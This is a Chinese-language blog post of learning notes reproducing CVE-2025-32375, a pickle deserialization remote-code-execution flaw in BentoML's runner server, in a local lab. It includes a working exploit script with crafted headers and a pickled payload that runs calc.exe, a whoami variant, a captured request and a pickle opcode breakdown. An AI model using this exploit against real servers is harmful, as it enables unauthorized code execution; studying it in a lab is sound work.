CVE-2025-32375|runner服务器远程代码执行漏洞
参考链接:
mp.weixin.qq.com/s/IxLZr83Rv... github.com/bentoml/Ben...
虽然原作者的复现步骤已经非常详细,但在亲自搭建的过程中仍学到了不少知识,于是写下这篇文章作为学习笔记。若有疏漏或不当之处,欢迎大家指出,一起交流成长。
1. 漏洞描述
BentoML 是一个开源的机器学习模型服务化平台,旨在简化机器学习模型的部署和管理。通过提供一个统一的框架,BentoML 允许数据科学家和开发者快速将训练好的模型打包成可在生产环境中运行的API服务。它支持多种流行的机器学习框架,如 TensorFlow、PyTorch 和 Scikit-learn,并提供了灵活的模型版本管理、自动化的容器化部署以及与云服务的无缝集成。BentoML 使得机器学习模型的生产化变得更加高效和可控,帮助团队加速从实验到实际应用的转变。该漏洞是BentoML 的 runner 服务器中存在不安全的反序列化,攻击者可以通过在 POST 请求中设置特定的标头和参数,可以在服务器上执行任何未经授权的任意代码,这将授予攻击者在服务器上进行初始访问和信息泄露的权限。
影响范围:BentoML <= 1.4.7
2. 漏洞复现
版本要求:
- python 3.7 - 3.10,不支持 3.12
- BentoML 1.4.7
(BentoML 在 1.x 系列和 0.x 差别很大,从 BentoML 1.0.0 开始,最低支持的是 Python 3.7。)
windows本机的 python 是 3.10 版本的,所以直接在 windows 的本机搭建环境,攻击机和靶机都是 windows 本机,ip 地址是 192.168.119.1。
1. 安装 BentoML 1.4.7
下载 1.4.7 版本的 zip文件:github.com/bentoml/Ben...
下载到本地后,解压,进入该目录中,在 cmd 中执行命令:pip install .
出现 Successful build 就算是安装成功了:

2. 创建模型
创建一个 model.py 文件,代码如下:
python
import bentoml
import numpy as np
class mymodel:
def predict(self, info):
return np.abs(info)
def __call__(self, info):
return self.predict(info)
model = mymodel()
bentoml.picklable_model.save_model("mymodel", model)
这段代码的功能是:将一个自定义的 Python 模型对象 mymodel 保存为 BentoML 可部署格式的模型文件,用于后续的部署、调用或服务化。
执行以下命令保存这个模型:python model.py

BentoMLDeprecationWarning 是一个警告并不是真正的错误。这个警告的意思是 bentoml.picklable_model
这个方法已经在 BentoML 1.4 版本中被弃用了,并且在未来的版本中将被移除。不用管这个警告就可以。
3. 构建模型
创建文件 bentofile.yaml ,用来构建前面保存的模型,这个文件的代码如下:
yaml
service: "service.py"
description: "A model serving service with BentoML"
python:
packages:
- bentoml
- numpy
models:
- tag: MyModel:latest
include:
- "*.py"
4. 托管模型
创建文件 service.py ,用来托管前面保存的模型,这个文件的代码如下:
python
import bentoml
from bentoml.io import NumpyNdarray
import numpy as np
model_runner = bentoml.picklable_model.get("mymodel:latest").to_runner()
svc = bentoml.Service("myservice", runners=[model_runner])
async def predict(input_data: np.ndarray):
input_columns = np.split(input_data, input_data.shape[1], axis=1)
result_generator = model_runner.async_run(input_columns, is_stream=True)
async for result in result_generator:
yield result
分别执行下面的命令,来构建和托管这个模型:
bash
bentoml build
bentoml start-runner-server --runner-name mymodel --working-dir . --host 192.168.119.1 --port 5555
以下是执行这两条命令的注意问题:
- 执行构建命令
bentoml build
时,还是会遇到上面的警告,也是不用管就可以。出现 Successfully built Bento 时,就是构建成功了。

- 执行托管命令
bentoml start-runner-server --runner-name mymodel --working-dir . --host 192.168.119.1 --port 5555
时:-
修改 host 参数和 port 参数的值:我搭建在本机 windows 上,直接写了本机的 IP 地址,端口选择一个还没有被占用的就可以。
-
执行完同样会出现一些 BentoMLDeprecationWarning ,不用管就好了。在命令刚执行后的几行中,有个
INFO: Starting RunnerServer from "." running on http://192.168.119.1:5555 (Press CTRL+C to quit)
,出现这个就算是成功了。最后光标会停在那里一直闪烁,因为启动的是一个 runner 服务器,会持续监听指定的 ip 和端口,一直运行在前台,直到我们手动停止例如 ctrl + c 。
-

不放心的话,直接在浏览器中访问: http://192.168.119.1:5555 ,如果返回下面的页面或者404就算是成功了:
5. 执行exp
创建文件 exp.py,exp脚本我在原作者的基础上进行了改动,因为我没有 webhook 服务器,所以执行命令弹出计算器,代码如下:
python
import requests
import pickle
url = "http://192.168.119.1:5555/"
headers = {
"args-number": "1",
"Content-Type": "application/vnd.bentoml.pickled",
"Payload-Container": "NdarrayContainer",
"Payload-Meta": '{"format": "default"}',
"Batch-Size": "-1",
}
class P:
def __reduce__(self):
return (__import__('os').system, ("calc.exe",))
response = requests.post(url, headers=headers, data=pickle.dumps(P()))
print(response)
使用这个脚本的注意事项:
- 不要忘记修改url,修改为前面托管模型时执行的命令中,host 和 port 的参数值。
- 不想弹出计算器,也可以将执行命令的结果写入一个文件中,只要确保路径存在即可,例如:
return (**import**('os').system, ("whoami > F:\\Download\\BentoML-1.4.7\\rce_result.txt",))
- 执行 exp.py 时,要另起一个 cmd,之前的 cmd 在监听端口,不能中断服务。
执行结果,弹出计算器就算成功了:

原作者还提到 Payload-Container 请求头的内容可以换成 PandasDataFrameContainer,也可以触发漏洞。
3. POC
执行exp.py时,抓取了流量包:
python
POST / HTTP/1.1
Host: 192.168.119.1:5555
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
args-number: 1
Content-Type: application/vnd.bentoml.pickled
Payload-Container: NdarrayContainer
Payload-Meta: {"format": "default"}
Batch-Size: -1
Content-Length: 43
... .........nt...system.....calc.exe...R..HTTP/1.1 200 OK
date: Fri, 11 Apr 2025 05:36:54 GMT
server: uvicorn
bento-payload-meta: {}
content-type: application/vnd.bentoml.DefaultContainer
server: BentoML-Runner/mymodel/__call__/9
content-length: 117
...j.........numpy._core.multiarray...scalar.....numpy...dtype.....i8.....R.(K...<.NNNJ....J....K.t.bC............R..
请求体和响应体是一些乱码,需要自己查看二进制看真实的内容。
关于几个请求头:
- Content-Type: application/vnd.bentoml.pickled:是一个自定义格式的请求类型:
application/
:表示这是一个媒体类型(MIME type)。vnd.bentoml.
:vnd
表示这是一个厂商自定义类型,bentoml
是这个厂商的名字,表明这个格式是 BentoML 专属的。pickled
:意思是 请求体的数据经过了 Python 的pickle
序列化。
- Payload-Container: NdarrayContainer:也是一个自定义的请求头,用来告诉 BentoML 服务端下面请求体的内容类型是一个 Numpy 数组容器
Payload-Container
:BentoML 自己定义的 header,用于说明 payload(请求体)要用哪个容器格式来反序列化。NdarrayContainer
:意思是这个请求体是一个用 pickle 或其他方式序列化的 Numpy ndarray 数据。PandasDataFrameContainer
:表示这个请求体是一个序列化后的 Pandas DataFrame(通常是用 pickle 或 json 格式序列化的)。
4. 补充学习
因为请求体中的内容乱码了,又想知道请求体的内容是什么,可以执行下面的 exp1.py:
python
import requests
import pickle
url = "http://192.168.119.1:5555/"
headers = {
"args-number": "1",
"Content-Type": "application/vnd.bentoml.pickled",
"Payload-Container": "NdarrayContainer",
"Payload-Meta": '{"format": "default"}',
"Batch-Size": "-1",
}
class P:
def __reduce__(self):
return (__import__('os').system, ("calc.exe",))
# 序列化数据
payload = pickle.dumps(P())
# 创建一个会话,便于抓取请求详细内容
with requests.Session() as s:
request = requests.Request("POST", url, headers=headers, data=payload)
prepared = s.prepare_request(request)
# 打印请求包内容
print("====== 请求包 ======")
print(f"{prepared.method} {prepared.url} HTTP/1.1")
for k, v in prepared.headers.items():
print(f"{k}: {v}")
print()
print(payload) # 这里是二进制序列化后的内容
# 发送请求
response = s.send(prepared)
# 打印响应包内容
print("\n====== 响应包 ======")
print(f"HTTP/{response.raw.version} {response.status_code} {response.reason}")
for k, v in response.headers.items():
print(f"{k}: {v}")
print()
print(response.text)
执行结果如下:

可以看到请求体中是使用 pickle 序列化后的 二进制数据:b'\x80\x04\x95 \x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x08calc.exe\x94\x85\x94R\x94.'
用脚本来解一下:
python
import pickletools
data = b'\x80\x04\x95 \x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x08calc.exe\x94\x85\x94R\x94.'
pickletools.dis(data)
代码解释:
pickletools.dis() 是 Python 提供的一个调试工具,用来反汇编(disassemble)pickle 序列,也就是把 pickle 的字节流翻译成人类能看懂的指令,一步步解释这个 pickle 是怎么构造的。
Pickle 是"二进制协议"不是明文结构:
- 它不像 JSON / XML 那样是可读文本。
- 是 Python 内部用来序列化对象的数据格式,结构紧凑、字段省略,很多内容只有通过解释 opcode(指令码)才能知道含义。
这个脚本的执行结果:

执行结果的解释:
python
0: \x80 PROTO 4
2: \x95 FRAME 32
11: \x8c SHORT_BINUNICODE 'nt'
15: \x94 MEMOIZE (as 0)
16: \x8c SHORT_BINUNICODE 'system'
24: \x94 MEMOIZE (as 1)
25: \x93 STACK_GLOBAL
26: \x94 MEMOIZE (as 2)
27: \x8c SHORT_BINUNICODE 'calc.exe'
37: \x94 MEMOIZE (as 3)
38: \x85 TUPLE1
39: \x94 MEMOIZE (as 4)
40: R REDUCE
41: \x94 MEMOIZE (as 5)
42: . STOP
highest protocol among opcodes = 4
字节位置 | 指令 |
---|---|
\x80 PROTO 4 |
使用 Pickle 协议版本 4 |
\x95 FRAME 32 |
表明后续 32 字节是一个完整的数据帧 |
\x8c 'nt' |
反序列化一个短字符串 'nt' (Windows 平台的内置模块) |
\x8c 'system' |
反序列化 'system' (调用命令行命令的函数名) |
\x93 STACK_GLOBAL |
相当于:__import__('nt').system |
\x8c 'calc.exe' |
反序列化字符串 'calc.exe' ,要执行的命令 |
\x85 TUPLE1 |
构造一个参数元组:('calc.exe',) |
\x52 REDUCE |
执行:nt.system('calc.exe') (相当于 __import__('nt').system('calc.exe') ) |
\x2e STOP |
停止反序列化过程 |
为什么在 pickle 中看到 nt.system 而不是 os.system:
在 Python 中,__import__('os')
会返回操作系统相关的模块(在 Windows 上通常是 nt 模块)。具体来说:
- 在 Windows 系统中,os 模块的实现是由 nt 模块提供的。因此,os 实际上是对 nt 模块的一个别名。
- 当你执行
__import__('os').system
时,os 模块会加载 nt 模块,返回的是 nt.system 函数。